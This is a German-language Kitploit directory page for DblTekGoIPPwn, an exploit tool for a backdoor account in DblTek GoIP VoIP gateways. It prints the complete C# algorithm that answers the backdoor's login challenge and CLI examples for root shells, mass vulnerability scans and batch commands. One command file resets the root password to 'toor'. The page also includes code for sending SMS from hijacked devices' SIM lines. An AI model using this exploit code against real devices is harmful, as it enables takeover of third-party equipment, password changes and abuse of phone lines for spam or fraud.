Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DblTekGoIPPwn — Tool, um zu überprüfen, ob eine IP eines DblTek GoIP anfällig für ein Challenge-Response-Login-System ist, SMS-Nachrichten vom System zu senden, Remote-Befehle im Botnet-Stil auszuführen und Antworten auf Herausforderungen zu generieren. | Kitploit
Tools/GitHubGitHub/jacobmisirian/dbltekgoippwn
SchwachstellenscannerExploitationPenetrationstestsCommand and ControlRemote-Access-Tool
GitHubjacobmisirian/dbltekgoippwn

DblTekGoIPPwn

Tool, um zu überprüfen, ob eine IP eines DblTek GoIP anfällig für ein Challenge-Response-Login-System ist, SMS-Nachrichten vom System zu senden, Remote-Befehle im Botnet-Stil auszuführen und Antworten auf Herausforderungen zu generieren.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
64261vor 6 JahrenVon Kitploit geprüft

DblTekGoIPPwn

Werkzeug zum Ausnutzen des Challenge-Response-Systems in verwundbaren DblTek GoIP-Geräten. Kann Antworten auf bestimmte Challenges generieren, Hosts auf Verwundbarkeit testen, Befehle auf verwundbaren Hosts ausführen, SMS-Nachrichten von einem Host senden und in eine Root-Shell auf jedem verwundbaren Host einsteigen.

Die Verwundbarkeit

Am 2. März 2017 veröffentlichte Trustwave eine Verwundbarkeit, die Sicherheitsforscher im DblTek GoIP VoIP-Telefon fanden. Die Verwundbarkeit war eine Hintertür in der Firmware für ein Konto namens 'dbladm'. Wenn ein Benutzer dies als seinen Benutzernamen in einer Telnet-Eingabeaufforderung eingab, zeigte das System eine Challenge an, die bei der richtigen Antwort dem Benutzer eine Root-Shell auf dem System gab.

Das Problem mit einem solchen Challenge-Response-System ist, dass die Geräte so sicher sind wie der Algorithmus zur Generierung der Antworten, der aus von DblTek bereitgestellten Firmware-Binärdateien zurückentwickelt wurde. Mit diesem Algorithmus kann auf JEDEM DblTek GoIP-Gerät eine Root-Shell erlangt werden.

Original Article: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/

Mit der im Artikel gegebenen Beschreibung der Hintertür konnte ich schreiben, was ich für einige der ersten Exploit-Codes für diese Verwundbarkeit halte. Der Kern davon ist natürlich der Algorithmus, um die Antwort basierend auf einer gegebenen Challenge zu generieren. Hier ist eine Funktion, die dies in C# macht.

root@kitploit:~
static string ComputeResponse(string challengeStr)
{
    int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

    string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

    byte[] buffer = new byte[64];
    // Copy the string into the first part of the buffer.
    for (int i = 0; i < modified.Length; i++)
        buffer[i] = (byte)modified[i];

    var md5 = MD5.Create();
    byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

    StringBuilder sb = new StringBuilder(); // Will hold the results.
    // Take the unpadded hex value of the first six bytes of the MD5.
    for (int i = 0; i < 6; i++)
        sb.Append(hash[i].ToString("x"));

    return sb.ToString(); // Profit
}

DblTekGoIPPwn Befehlszeilenschnittstelle (CLI)

Wenn DblTekPwn ohne Argumente ausgeführt wird, wird die Hilfe angezeigt. Dies ist die Ausgabe:

root@kitploit:~
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE]         Computes a response to the given challenge.
-r --root-shell                           Starts a root shell with the vulnerable host.
-s --send-commands    [COMMAND_FILE]      Sends commands from a file to vulnerable hosts.
-t --test                                 Tests hosts and determines if they are vulnerable.
-h --help                                 Displays this help and exits.

[HOSTS]:
-n --name             [IP]                Specifies a single IP address.
-f --file             [IP_FILE]           Specifies a file with IP\nIP\nIP.

[OUTPUT]:
-o --output           [OUTPUT_FILE]       Specifies an output file. Default stdin.

Beispiele

Erhalten einer Root-Shell auf einem verwundbaren System

DblTekGoIPPwn macht es einfach, eine Root-Shell auf jedem verwundbaren System zu erhalten. Führen Sie einfach den folgenden Befehl mit der verwundbaren IP aus.

root@kitploit:~
DblTekPwn.exe --root-shell --name 192.168.1.1

Sie sehen eine Ausgabe, die wie folgt aussieht:

root@kitploit:~
Password: ***********

Von hier aus können Sie mit der Eingabe von Befehlen beginnen (es gibt keine Shell-Eingabeaufforderung).

Berechnen einer Challenge-Antwort

Angenommen, Sie möchten die Antwort auf eine GoIP-Challenge N1746203308 berechnen. Sie würden einfach den folgenden Befehl ausführen.

root@kitploit:~
DblTekPwn --compute-response N1746203308

Die Ausgabe wird die Antwort sein:

root@kitploit:~
d6176d3aab2

Überprüfen einer Liste von IPs

Angenommen, Sie möchten list.txt mit IPs auf verwundbare GoIPs überprüfen und diese Ausgabe an results.txt senden. Stellen Sie zunächst sicher, dass die IPs im Format ip:port (Port ist standardmäßig 23) vorliegen und dass die IPs durch einen Zeilenumbruch \n getrennt sind. Der folgende Befehl könnte dann ausgeführt werden.

root@kitploit:~
DblTekPwn.exe --test --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

Das False oder True nach dem Host gibt an, ob die IP verwundbar ist oder nicht.

Senden von Befehlen an eine Liste von IPs

Angenommen, Sie haben eine Liste von Befehlen (eigentlich eine Liste von Telnet-Eingaben) in cmds.txt, die Sie an list.txt mit IPs senden und die Ausgabe an results.txt senden möchten. Stellen Sie zunächst sicher, dass die IPs im Format ip:port (Port ist standardmäßig 23) vorliegen und dass SOWOHL die IPs ALS AUCH die Befehle in ihren jeweiligen Dateien durch einen Zeilenumbruch \n getrennt sind. Der folgende Befehl könnte dann ausgeführt werden.

root@kitploit:~
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

cmds.txt:

root@kitploit:~
passwd root
toor
toor

exit

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

Das False oder True nach dem Host gibt an, ob die Verbindung erfolgreich hergestellt und die Befehle übermittelt wurden.

Verwendung der DblTekPwn.SMS-Bibliothek

Der Code in diesem GitHub-Repository bietet eine Abstraktion zum Senden von SMS (Text)-Nachrichten von einem gehackten GoIP. Um diesen Code zu verwenden, binden Sie DblTekPwn.exe in Ihre Anwendung ein und fügen Sie die folgende using-Anweisung hinzu.

root@kitploit:~
using DblTekPwn.SMS

Nun können Sie in Ihrem Code die statische Methode SmsSender.SendSms verwenden. Hier sind einige Beispiele.

Senden einer SMS von einer einzelnen Nummer an eine einzelne Nummer

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);

Senden von SMS von mehreren Nummern an eine einzelne Nummer

Die meisten GoIPs haben bis zu 32 SIM-Karten an Bord, was es dem Hacker ermöglicht, SMS-Nachrichten von all diesen Leitungen zu senden.

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);

Senden von SMS von mehreren Nummern an mehrere Nummern

root@kitploit:~
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
Tool herunterladen